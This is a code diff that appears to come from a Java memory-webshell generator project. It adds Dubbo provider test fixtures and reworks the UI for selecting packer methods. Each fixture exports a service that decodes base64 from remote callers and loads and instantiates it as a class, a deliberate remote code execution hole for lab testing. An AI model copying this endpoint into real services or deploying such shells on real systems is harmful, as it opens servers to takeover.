"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo276Provider"
)
val dubboApache277ProviderFatJar = registerDubboFatJar(
"dubboApache277ProviderFatJar",
dubboProviderApache277,
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo277Provider"
)
val dubboApache278ProviderFatJar = registerDubboFatJar(
"dubboApache278ProviderFatJar",
dubboProviderApache278,
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo278Provider"
)
val dubboApache2723ProviderFatJar = registerDubboFatJar(
"dubboApache2723ProviderFatJar",
dubboProviderApache2723,
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo2723Provider"
)
val dubboApache336ProviderFatJar = registerDubboFatJar(
"dubboApache336ProviderFatJar",
dubboProviderApache336,
"io.github.reajason.dubbo.fixture.apache3.ApacheDubbo336Provider",
mergeApacheProtocolSpi = true
)
tasks.register("dubboProviderFatJars") {
group = "verification"
dependsOn(
dubboAlibabaProviderFatJar,
dubboApache276ProviderFatJar,
dubboApache277ProviderFatJar,
dubboApache278ProviderFatJar,
dubboApache2723ProviderFatJar,
dubboApache336ProviderFatJar
)
}
@@ -0,0 +1,65 @@
package io.github.reajason.dubbo.fixture.alibaba;
import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ProtocolConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.ServiceConfig;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
import io.github.reajason.dubbo.fixture.api.DemoService;
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
public class AlibabaDubbo2Provider {
public static void main(String[] args) throws InterruptedException {
System.setProperty("dubbo.compiler", "jdk");
ApplicationConfig application = new ApplicationConfig("alibaba-dubbo2-provider");
application.setQosEnable(true);
application.setQosPort(22221);
ProtocolConfig dubboProtocol = new ProtocolConfig();
dubboProtocol.setName("dubbo");
dubboProtocol.setPort(20880);
ProtocolConfig hessianProtocol = new ProtocolConfig();
hessianProtocol.setName("hessian");
hessianProtocol.setPort(28080);
ProtocolConfig httpProtocol = new ProtocolConfig();
httpProtocol.setName("http");
httpProtocol.setPort(28081);
RegistryConfig registry = new RegistryConfig("N/A");
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
demoService.setApplication(application);
demoService.setRegistry(registry);
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
demoService.setInterface(DemoService.class);
demoService.setRef(new DemoServiceImpl("alibaba-dubbo-2.6.12"));
demoService.export();
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
loaderService.setApplication(application);
loaderService.setRegistry(registry);
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
loaderService.setInterface(BytecodeLoadingService.class);
loaderService.setRef(new BytecodeLoadingServiceImpl());
loaderService.export();
System.out.println("==============================================");
System.out.println(" alibaba-dubbo 2.6.12 Provider started");
System.out.println(" dubbo -> dubbo://127.0.0.1:20880");
System.out.println(" hessian -> hessian://127.0.0.1:28080");
System.out.println(" http -> http://127.0.0.1:28081");
System.out.println(" qos -> 127.0.0.1:22221");
System.out.println("==============================================");
new CountDownLatch(1).await();
}
}
@@ -0,0 +1,7 @@
package io.github.reajason.dubbo.fixture.apache2;
public class ApacheDubbo2723Provider {
public static void main(String[] args) throws InterruptedException {
ApacheDubbo2Provider.start("apache-dubbo-2.7.23", 20881, 28082, 28083, 22222);
}
}
@@ -0,0 +1,7 @@
package io.github.reajason.dubbo.fixture.apache2;
public class ApacheDubbo276Provider {
public static void main(String[] args) throws InterruptedException {
ApacheDubbo2Provider.start("apache-dubbo-2.7.6", 20885, 28086, 28087, 22226);
}
}
@@ -0,0 +1,7 @@
package io.github.reajason.dubbo.fixture.apache2;
public class ApacheDubbo277Provider {
public static void main(String[] args) throws InterruptedException {
ApacheDubbo2Provider.start("apache-dubbo-2.7.7", 20886, 28088, 28089, 22227);
}
}
@@ -0,0 +1,7 @@
package io.github.reajason.dubbo.fixture.apache2;
public class ApacheDubbo278Provider {
public static void main(String[] args) throws InterruptedException {
ApacheDubbo2Provider.start("apache-dubbo-2.7.8", 20887, 28090, 28091, 22228);
}
}
@@ -0,0 +1,65 @@
package io.github.reajason.dubbo.fixture.apache3;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
import io.github.reajason.dubbo.fixture.api.DemoService;
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
import org.apache.dubbo.config.ApplicationConfig;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.bootstrap.DubboBootstrap;
import java.util.Arrays;
public class ApacheDubbo336Provider {
public static void main(String[] args) {
System.setProperty("dubbo.compiler", "jdk");
ApplicationConfig application = new ApplicationConfig("apache-dubbo-3.3.6-provider");
application.setQosEnable(true);
application.setQosPort(22223);
RegistryConfig registry = new RegistryConfig("N/A");
ProtocolConfig dubboProtocol = new ProtocolConfig("dubbo", 20882);
ProtocolConfig triProtocol = new ProtocolConfig("tri", 50051);
ProtocolConfig hessianProtocol = new ProtocolConfig("hessian", 28084);
ProtocolConfig httpProtocol = new ProtocolConfig("http", 28085);
LoadBytesExportContext.register(
application,
registry,
Arrays.asList(dubboProtocol, triProtocol, hessianProtocol, httpProtocol)
);
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
demoService.setInterface(DemoService.class);
demoService.setRef(new DemoServiceImpl("apache-dubbo-3.3.6"));
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
loaderService.setInterface(BytecodeLoadingService.class);
loaderService.setRef(new BytecodeLoadingServiceImpl());
DubboBootstrap.getInstance()
.application(application)
.registry(registry)
.protocol(dubboProtocol)
.protocol(triProtocol)
.protocol(hessianProtocol)
.protocol(httpProtocol)
.service(demoService)
.service(loaderService)
.start();
System.out.println("==============================================");
System.out.println(" apache-dubbo-3.3.6 Provider started");
System.out.println(" dubbo -> dubbo://127.0.0.1:20882");
System.out.println(" tri -> tri://127.0.0.1:50051");
System.out.println(" hessian -> hessian://127.0.0.1:28084");
System.out.println(" http -> http://127.0.0.1:28085");
System.out.println(" qos -> 127.0.0.1:22223");
System.out.println("==============================================");
DubboBootstrap.getInstance().await();
}
}
@@ -0,0 +1,71 @@
package io.github.reajason.dubbo.fixture.apache2;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
import io.github.reajason.dubbo.fixture.api.DemoService;
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
import org.apache.dubbo.config.ApplicationConfig;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
public final class ApacheDubbo2Provider {
private ApacheDubbo2Provider() {
}
public static void start(String providerName, int dubboPort, int hessianPort, int httpPort, int qosPort)
throws InterruptedException {
System.setProperty("dubbo.compiler", "jdk");
ApplicationConfig application = new ApplicationConfig(providerName + "-provider");
application.setQosEnable(true);
application.setQosPort(qosPort);
ProtocolConfig dubboProtocol = new ProtocolConfig();
dubboProtocol.setName("dubbo");
dubboProtocol.setPort(dubboPort);
ProtocolConfig hessianProtocol = new ProtocolConfig();
hessianProtocol.setName("hessian");
hessianProtocol.setPort(hessianPort);
hessianProtocol.setServer("tomcat");
ProtocolConfig httpProtocol = new ProtocolConfig();
httpProtocol.setName("http");
httpProtocol.setPort(httpPort);
httpProtocol.setServer("tomcat");
RegistryConfig registry = new RegistryConfig("N/A");
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
demoService.setApplication(application);
demoService.setRegistry(registry);
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
demoService.setInterface(DemoService.class);
demoService.setRef(new DemoServiceImpl(providerName));
demoService.export();
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
loaderService.setApplication(application);
loaderService.setRegistry(registry);
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
loaderService.setInterface(BytecodeLoadingService.class);
loaderService.setRef(new BytecodeLoadingServiceImpl());
loaderService.export();
System.out.println("==============================================");
System.out.println(" " + providerName + " Provider started");
System.out.println(" dubbo -> dubbo://127.0.0.1:" + dubboPort);
System.out.println(" hessian -> hessian://127.0.0.1:" + hessianPort);
System.out.println(" http -> http://127.0.0.1:" + httpPort);
System.out.println(" qos -> 127.0.0.1:" + qosPort);
System.out.println("==============================================");
new CountDownLatch(1).await();
}
}
@@ -0,0 +1,5 @@
package io.github.reajason.dubbo.fixture.api;
public interface BytecodeLoadingService {
String loadBytes(String base64);
}
@@ -0,0 +1,5 @@
package io.github.reajason.dubbo.fixture.api;
public interface DemoService {
String sayHello(String name);
}
@@ -0,0 +1,11 @@
package io.github.reajason.dubbo.fixture.common;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
public class BytecodeLoadingServiceImpl implements BytecodeLoadingService {
@Override
public String loadBytes(String base64) {
return BytecodeLoadingSupport.loadBase64(base64);
}
}
@@ -0,0 +1,246 @@
package io.github.reajason.dubbo.fixture.common;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
public final class BytecodeLoadingSupport {
private BytecodeLoadingSupport() {
}
public static String loadBase64(String base64) {
String normalized = normalizeBase64(base64);
byte[] bytes = Base64.getMimeDecoder().decode(normalized);
return loadClassBytes(bytes);
}
public static String loadClassBytes(byte[] bytes) {
requireClassBytes(bytes);
try {
return new PayloadClassLoader(hostClassLoader()).defineAndInstantiate(bytes);
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("failed to load bytecode payload", e);
}
}
private static String normalizeBase64(String base64) {
if (base64 == null) {
throw new IllegalArgumentException("base64 must not be null");
}
String trimmed = base64.trim();
if (trimmed.isEmpty()) {
throw new IllegalArgumentException("base64 must not be blank");
}
return trimmed;
}
private static void requireClassBytes(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
throw new IllegalArgumentException("class bytes must not be empty");
}
}
private static ClassLoader hostClassLoader() {
ClassLoader classLoader = BytecodeLoadingSupport.class.getClassLoader();
if (classLoader == null) {
classLoader = Thread.currentThread().getContextClassLoader();
}
return classLoader;
}
public static Class<?> defineIntoHostClassLoader(String className, byte[] bytes) {
if (className == null || className.trim().isEmpty()) {
throw new IllegalArgumentException("class name must not be blank");
}
requireClassBytes(bytes);
ClassLoader classLoader = hostClassLoader();
Class<?> loadedClass = findLoadedClass(className, classLoader);
if (loadedClass != null) {
return loadedClass;
}
try {
return defineClass(className, bytes, classLoader);
} catch (LinkageError e) {
loadedClass = findLoadedClass(className, classLoader);
if (loadedClass != null) {
return loadedClass;
}
throw e;
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("failed to define class in host class loader: " + className, e);
}
}
public static void registerWithDubboClassPool(String className, byte[] bytes) {
if (className == null || className.trim().isEmpty() || bytes == null || bytes.length == 0) {
return;
}
Class<?> classPoolClass = null;
List<Object> classPools = new ArrayList<Object>();
try {
classPoolClass = Class.forName("javassist.ClassPool", false, hostClassLoader());
classPools.add(classPoolClass.getMethod("getDefault").invoke(null));
classPools.addAll(dubboClassGeneratorPools());
for (Object classPool : classPools) {
if (classPoolContains(classPoolClass, classPool, className)) {
continue;
}
Method makeClass = classPoolClass.getMethod("makeClass", InputStream.class);
makeClass.invoke(classPool, new ByteArrayInputStream(bytes));
}
} catch (ClassNotFoundException ignored) {
// Javassist is not present for all clients.
} catch (InvocationTargetException e) {
if (classPoolClass != null && anyClassPoolContains(classPoolClass, classPools, className)) {
return;
}
throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e.getCause());
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e);
}
}
private static Class<?> findLoadedClass(String className, ClassLoader classLoader) {
try {
return Class.forName(className, false, classLoader);
} catch (ClassNotFoundException e) {
return null;
}
}
private static Class<?> defineClass(String className, byte[] bytes, ClassLoader classLoader)
throws ReflectiveOperationException {
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
try {
return (Class<?>) defineClass.invoke(
classLoader,
className,
bytes,
0,
bytes.length,
BytecodeLoadingSupport.class.getProtectionDomain()
);
} catch (InvocationTargetException e) {
Throwable cause = e.getCause();
if (cause instanceof LinkageError) {
throw (LinkageError) cause;
}
if (cause instanceof RuntimeException) {
throw (RuntimeException) cause;
}
if (cause instanceof Error) {
throw (Error) cause;
}
throw e;
}
}
private static List<Object> dubboClassGeneratorPools() {
List<Object> classPools = new ArrayList<Object>();
List<ClassLoader> classLoaders = new ArrayList<ClassLoader>();
addClassLoader(classLoaders, hostClassLoader());
addClassLoader(classLoaders, Thread.currentThread().getContextClassLoader());
for (ClassLoader classLoader : classLoaders) {
addDubboClassGeneratorPool(classPools, "com.alibaba.dubbo.common.bytecode.ClassGenerator", classLoader);
addDubboClassGeneratorPool(classPools, "org.apache.dubbo.common.bytecode.ClassGenerator", classLoader);
}
return classPools;
}
private static void addClassLoader(List<ClassLoader> classLoaders, ClassLoader classLoader) {
if (classLoader != null && !classLoaders.contains(classLoader)) {
classLoaders.add(classLoader);
}
}
private static void addDubboClassGeneratorPool(List<Object> classPools, String className, ClassLoader classLoader) {
try {
Class<?> classGeneratorClass = Class.forName(className, false, hostClassLoader());
Method getClassPool = classGeneratorClass.getMethod("getClassPool", ClassLoader.class);
Object classPool = getClassPool.invoke(null, classLoader);
if (classPool != null && !classPools.contains(classPool)) {
classPools.add(classPool);
}
} catch (ClassNotFoundException ignored) {
// This runtime is using the other Dubbo namespace.
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("failed to resolve Dubbo class pool from " + className, e);
}
}
private static boolean anyClassPoolContains(Class<?> classPoolClass, List<Object> classPools, String className) {
for (Object classPool : classPools) {
try {
if (classPoolContains(classPoolClass, classPool, className)) {
return true;
}
} catch (ReflectiveOperationException ignored) {
}
}
return false;
}
private static boolean classPoolContains(Class<?> classPoolClass, Object classPool, String className)
throws ReflectiveOperationException {
try {
Method getOrNull = classPoolClass.getMethod("getOrNull", String.class);
return getOrNull.invoke(classPool, className) != null;
} catch (NoSuchMethodException e) {
try {
Method get = classPoolClass.getMethod("get", String.class);
return get.invoke(classPool, className) != null;
} catch (InvocationTargetException invocationTargetException) {
Throwable cause = invocationTargetException.getCause();
if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) {
return false;
}
throw invocationTargetException;
}
} catch (InvocationTargetException e) {
Throwable cause = e.getCause();
if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) {
return false;
}
throw e;
}
}
private static final class PayloadClassLoader extends ClassLoader {
private PayloadClassLoader(ClassLoader parent) {
super(parent);
}
private String defineAndInstantiate(byte[] bytes) throws ReflectiveOperationException {
Thread thread = Thread.currentThread();
ClassLoader original = thread.getContextClassLoader();
thread.setContextClassLoader(this);
try {
Object instance = defineClass(bytes, 0, bytes.length).newInstance();
return String.valueOf(instance);
} finally {
thread.setContextClassLoader(original);
}
}
}
}
@@ -0,0 +1,17 @@
package io.github.reajason.dubbo.fixture.common;
import io.github.reajason.dubbo.fixture.api.DemoService;
public class DemoServiceImpl implements DemoService {
private final String providerName;
public DemoServiceImpl(String providerName) {
this.providerName = providerName;
}
@Override
public String sayHello(String name) {
return "Hello, " + name + " from " + providerName;
}
}
@@ -0,0 +1,31 @@
package io.github.reajason.dubbo.fixture.common;
import java.util.List;
public final class LoadBytesExportContext {
private static volatile Object application;
private static volatile Object registry;
private static volatile List<?> protocols;
private LoadBytesExportContext() {
}
public static void register(Object applicationConfig, Object registryConfig, List<?> protocolConfigs) {
application = applicationConfig;
registry = registryConfig;
protocols = protocolConfigs;
}
public static Object application() {
return application;
}
public static Object registry() {
return registry;
}
public static List<?> protocols() {
return protocols;
}
}
@@ -0,0 +1,6 @@
package io.github.reajason.dubbo.fixture.common;
public final class Noop {
private Noop() {
}
}
@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://geronimo.apache.org/xml/ns/j2ee/web-2.0.1"
xmlns:sys="http://geronimo.apache.org/xml/ns/deployment-1.2">
<sys:environment>
<sys:moduleId>
<sys:groupId>com.mycompany</sys:groupId>
<sys:artifactId>app</sys:artifactId>
<sys:version>1.0</sys:version>
<sys:type>war</sys:type>
</sys:moduleId>
<sys:hidden-classes>
<sys:filter>org.apache.commons.fileupload</sys:filter>
<sys:filter>org.apache.commons.io</sys:filter>
</sys:hidden-classes>
</sys:environment>
<context-root>/app</context-root>
</web-app>
@@ -1,4 +1,4 @@
import type { PackerConfig } from "@/types/memshell"; import type { PackerConfig, PackerOption } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema"; import type { MemShellFormSchema } from "@/types/schema";
import { PackageIcon } from "lucide-react"; import { PackageIcon } from "lucide-react";
@@ -6,9 +6,8 @@ import { useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import PackerSelector from "@/components/packer-selector";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { FieldLabel, FieldSet } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { Spinner } from "@/components/ui/spinner"; import { Spinner } from "@/components/ui/spinner";
export default function PackageConfigCard({ export default function PackageConfigCard({
@@ -30,8 +29,8 @@ export default function PackageConfigCard({
name: "server", name: "server",
}); });
const options = useMemo(() => { const parents = useMemo<PackerOption[]>(() => {
const filteredOptions = (packerConfig ?? []).filter((name) => { return (packerConfig ?? []).filter(({ name }) => {
if (!shellType || shellType === " ") { if (!shellType || shellType === " ") {
return true; return true;
} }
@@ -43,12 +42,7 @@ export default function PackageConfigCard({
} }
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
}); });
form.setValue("packingMethod", filteredOptions[0]); }, [packerConfig, shellType, server]);
return filteredOptions.map((name) => ({
name: t(name),
value: name,
}));
}, [packerConfig, shellType, server, t, form]);
return ( return (
<Card className="w-full"> <Card className="w-full">
@@ -59,30 +53,12 @@ export default function PackageConfigCard({
</CardTitle> </CardTitle>
</CardHeader> </CardHeader>
<CardContent> <CardContent>
{options.length > 0 ? ( {parents.length > 0 ? (
<Controller <Controller
control={form.control} control={form.control}
name="packingMethod" name="packingMethod"
render={({ field }) => ( render={({ field }) => (
<FieldSet> <PackerSelector parents={parents} value={field.value} onChange={field.onChange} />
<FieldLabel>{t("packerMethod")}</FieldLabel>
<RadioGroup
name={field.name}
value={field.value}
defaultValue={options[0].value}
onValueChange={field.onChange}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<div key={value} className="flex items-center space-x-3">
<RadioGroupItem value={value} id={value} />
<FieldLabel className="text-xs" htmlFor={value}>
{name}
</FieldLabel>
</div>
))}
</RadioGroup>
</FieldSet>
)} )}
/> />
) : ( ) : (
@@ -92,7 +92,7 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
text={ text={
generateResult?.shellConfig.shellType.includes("WebSocket") generateResult?.shellConfig.shellType.includes("WebSocket")
? "JAVA_WEBSOCKET_AES_RAW" ? "JAVA_WEBSOCKET_AES_RAW"
: "JAVA_AES_BASE64" : generateResult?.shellConfig.shellType.includes("Dubbo") ? "DUBBO_XOR_BASE64" : "JAVA_AES_BASE64"
} }
/> />
<CopyableField <CopyableField
@@ -1,118 +0,0 @@
import { DownloadIcon } from "lucide-react";
import { useCallback, useEffect, useMemo, useState } from "react";
import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import { Button } from "@/components/ui/button";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
export function MultiPackResult({
allPackResults,
packMethod,
shellClassName,
height = 350,
}: Readonly<{
allPackResults: object | undefined;
packMethod: string;
shellClassName?: string;
height?: number;
}>) {
const showCode = packMethod === "JSP";
const { t } = useTranslation();
const packResults = allPackResults as Record<string, string> | undefined;
const packMethods = useMemo(() => Object.keys(packResults ?? {}), [packResults]);
const [selectedMethod, setSelectedMethod] = useState(() => packMethods[0] ?? "");
const packResult = useMemo(() => {
if (!selectedMethod) {
return "";
}
return packResults?.[selectedMethod] ?? "";
}, [packResults, selectedMethod]);
useEffect(() => {
if (packMethods.length === 0) {
if (selectedMethod !== "") {
setSelectedMethod("");
}
return;
}
if (!packMethods.includes(selectedMethod)) {
setSelectedMethod(packMethods[0]);
}
}, [packMethods, selectedMethod]);
const handleDownload = useCallback(() => {
const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
if (packMethod === "JSP") {
const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp";
const content = new Blob([packResult], { type: "text/plain" });
return downloadContent(content, fileName, fileExtension);
} else if (packMethod === "JavaDeserialize" || packMethod.includes("Hessian")) {
const content = new Blob([base64ToBytes(packResult)], {
type: "application/octet-stream",
});
return downloadContent(content, fileName, ".data");
} else if (packMethod === "Base64") {
const base64Content = packResults?.[packMethods[0]] ?? "";
return downloadBytes(base64Content, shellClassName);
}
}, [packMethod, packMethods, packResult, packResults, selectedMethod, shellClassName]);
return (
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between gap-2 text-xs">
<Select
onValueChange={(value) => {
setSelectedMethod(value as string);
}}
value={selectedMethod}
>
<SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
<span className="text-muted-foreground">{t("common:packerMethod")}:&nbsp;</span>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{packMethods.map((method) => (
<SelectItem key={method} value={method} className="text-xs">
{method}
</SelectItem>
))}
</SelectContent>
</Select>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
button={
packMethod === "JSP" ||
packMethod === "Base64" ||
packMethod === "JavaDeserialize" ||
packMethod.includes("Hessian") ? (
<Button
variant="ghost"
size="icon"
type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
onClick={handleDownload}
>
<DownloadIcon className="h-4 w-4" />
</Button>
) : null
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={height}
/>
);
}
@@ -10,16 +10,13 @@ import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
import { AgentResult } from "./agent"; import { AgentResult } from "./agent";
import { JarResult } from "./jar-result"; import { JarResult } from "./jar-result";
import { MultiPackResult } from "./multi-packer";
export function ResultComponent({ export function ResultComponent({
packResult, packResult,
allPackResults,
packMethod, packMethod,
generateResult, generateResult,
}: Readonly<{ }: Readonly<{
packResult: string | undefined; packResult: string | undefined;
allPackResults: Map<string, string> | undefined;
packMethod: string; packMethod: string;
generateResult?: MemShellResult; generateResult?: MemShellResult;
}>) { }>) {
@@ -27,15 +24,24 @@ export function ResultComponent({
const isAgent = packMethod.startsWith("Agent"); const isAgent = packMethod.startsWith("Agent");
const isJar = packMethod.endsWith("Jar"); const isJar = packMethod.endsWith("Jar");
const { t } = useTranslation(); const { t } = useTranslation();
if (allPackResults) { const shellClassName = generateResult?.shellClassName;
return (
<MultiPackResult const handleDownload = useCallback(() => {
allPackResults={allPackResults} const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
packMethod={packMethod} if (packMethod.includes("JSP")) {
shellClassName={generateResult?.injectorClassName} const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp";
/> const content = new Blob([packResult as string], { type: "text/plain" });
); return downloadContent(content, fileName, fileExtension);
} } else if (packMethod.includes("JavaCommons") || packMethod.includes("Hessian")) {
const content = new Blob([base64ToBytes(packResult as string)], {
type: "application/octet-stream",
});
return downloadContent(content, fileName, ".data");
} else if (packMethod === "Base64") {
return downloadBytes(packResult as string, shellClassName);
}
}, [packMethod, packResult, shellClassName]);
if (isAgent) { if (isAgent) {
return ( return (
<AgentResult <AgentResult
@@ -55,24 +61,6 @@ export function ResultComponent({
); );
} }
const shellClassName = generateResult?.shellClassName;
const handleDownload = useCallback(() => {
const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
if (packMethod.includes("JSP")) {
const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp";
const content = new Blob([packResult as string], { type: "text/plain" });
return downloadContent(content, fileName, fileExtension);
} else if (packMethod.includes("JavaCommons") || packMethod.includes("Hessian")) {
const content = new Blob([base64ToBytes(packResult as string)], {
type: "application/octet-stream",
});
return downloadContent(content, fileName, ".data");
} else if (packMethod === "Base64") {
return downloadBytes(packResult as string, shellClassName);
}
}, [packMethod, packResult, shellClassName]);
return ( return (
<CodeViewer <CodeViewer
code={packResult ?? ""} code={packResult ?? ""}
@@ -15,12 +15,10 @@ import { ResultComponent } from "./results/result-component";
export default function ShellResult({ export default function ShellResult({
packResult, packResult,
allPackResults,
packMethod, packMethod,
generateResult, generateResult,
}: Readonly<{ }: Readonly<{
packResult: string | undefined; packResult: string | undefined;
allPackResults: Map<string, string> | undefined;
packMethod: string; packMethod: string;
generateResult?: MemShellResult; generateResult?: MemShellResult;
}>) { }>) {
@@ -40,7 +38,6 @@ export default function ShellResult({
<BasicInfo generateResult={generateResult} /> <BasicInfo generateResult={generateResult} />
<ResultComponent <ResultComponent
packResult={packResult} packResult={packResult}
allPackResults={allPackResults}
packMethod={packMethod} packMethod={packMethod}
generateResult={generateResult} generateResult={generateResult}
/> />
+194
View File
@@ -0,0 +1,194 @@
import type { PackerOption } from "@/types/memshell";
import { Check, ChevronRight } from "lucide-react";
import { useEffect, useMemo } from "react";
import { useTranslation } from "react-i18next";
import { Badge } from "@/components/ui/badge";
import { ScrollArea } from "@/components/ui/scroll-area";
import { cn } from "@/lib/utils";
/** A leading radio-style indicator shared by every list item for a consistent look. */
function RadioDot({ active }: Readonly<{ active: boolean }>) {
return (
<span
aria-hidden="true"
className={cn(
"flex size-3.5 shrink-0 items-center justify-center rounded-full border transition-colors",
active ? "border-sidebar-accent-foreground" : "border-muted-foreground/40",
)}
>
<span
className={cn(
"size-1.5 rounded-full bg-sidebar-accent-foreground transition-transform",
active ? "scale-100" : "scale-0",
)}
/>
</span>
);
}
function ListItem({
label,
active,
onClick,
trailing,
}: Readonly<{
label: string;
active: boolean;
onClick: () => void;
trailing?: React.ReactNode;
}>) {
return (
<button
type="button"
role="radio"
aria-checked={active}
onClick={onClick}
className={cn(
"flex min-h-8 items-center gap-2 rounded-md px-2.5 py-1.5 text-left text-xs leading-5 transition-colors",
active
? "bg-sidebar-accent text-sidebar-accent-foreground"
: "text-foreground hover:bg-sidebar-accent/70 hover:text-sidebar-accent-foreground",
)}
>
<RadioDot active={active} />
<span className="flex-1 font-medium break-all">{label}</span>
{trailing}
</button>
);
}
/**
* packer 选择器。
* - 左侧分类(父)+ 右侧变体(子)的主从布局,选中某个具体子变体。
*
* 通过受控的 `value` / `onChange` 与表单字段 `packingMethod` 双向同步,
* `value` 始终是单一来源;UI 状态(当前激活的父)由 `value` 推导,避免状态不一致。
*/
export default function PackerSelector({
parents,
value,
onChange,
}: Readonly<{
parents: PackerOption[];
value: string;
onChange: (value: string) => void;
}>) {
const { t } = useTranslation("common");
const values = useMemo(() => {
return parents.flatMap((parent) =>
parent.children.length > 0 ? parent.children : [parent.name],
);
}, [parents]);
useEffect(() => {
if (values.length === 0) {
return;
}
const selectedParent = parents.find((parent) => parent.name === value);
if (selectedParent?.children.length) {
onChange(selectedParent.children[0]);
return;
}
if (!value || !values.includes(value)) {
const firstParent = parents[0];
onChange(firstParent?.children[0] ?? firstParent?.name ?? values[0]);
}
}, [parents, values, value, onChange]);
const activeParent = useMemo(
() =>
parents.find((parent) => parent.name === value || parent.children.includes(value)) ??
parents[0],
[parents, value],
);
const selectParent = (parent: PackerOption) => {
onChange(parent.children[0] ?? parent.name);
};
const isParentActive = (parent: PackerOption) => activeParent?.name === parent.name;
return (
<div className="space-y-3">
<p className="text-xs text-muted-foreground">{t("packerMode.advancedDesc")}</p>
<div className="grid gap-3 md:grid-cols-2">
<section className="flex flex-col">
<div className="mb-2 text-xs font-medium tracking-wide text-muted-foreground uppercase">
{t("packerMode.category")}
</div>
<ScrollArea className="h-64 rounded-md border">
<div
role="radiogroup"
aria-label={t("packerMethod")}
className="flex flex-col gap-0.5 p-1.5"
>
{parents.map((parent) => {
